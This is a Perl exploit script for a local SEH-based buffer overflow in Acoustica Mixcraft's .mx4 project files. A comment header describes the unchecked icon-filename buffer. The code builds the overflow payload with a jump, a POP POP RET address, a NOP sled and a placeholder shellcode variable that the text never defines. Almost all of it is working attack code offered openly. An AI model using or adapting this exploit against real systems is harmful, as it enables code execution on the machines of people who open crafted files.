#!/usr/bin/perl
#
# Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit
# Author: Koshi
#
# Date: 08-28-08 ( 0day )
# Application: Acoustica Mixcraft
# Version(s): (Possibly Older) / 4.1 Build 96 / 4.2 Build 98
# Site: http://acoustica.com/mixcraft/download.htm
# Tested On: Windows XP SP3 Fully Patched
#
# A vulnerability exists in an unchecked buffer located in the
# project files (.mx4) for Acoustica Mixcraft4. The buffer should
# contain the file name of an image located in
# "C:\Program Files\Acoustica Mixcraft 4\mixrez\icons" on a default
# install of Mixcraft, and would be used as the icon for a specific
# "track" or "instrument" in Mixcraft.
#
# gr33tz: Rima my baby, str0ke, breaker_unit, mess', and my dude who
# showed me this nifty program.
#
my $bof = "A"x324;
my $sled = "\x90"x35;
my $fill = "\x90"x468;
my $buff = "".
"$bof".
"\xeb\x06\x90\x90". ### Pointer to next SEH record (Boing!) ###
"\x28\x12\x8b\x01". ### SE handler 0x018b1228 ( wmaengine.dll POP POP RET
) ###
"$sled".
"$shellcode".
"$fill";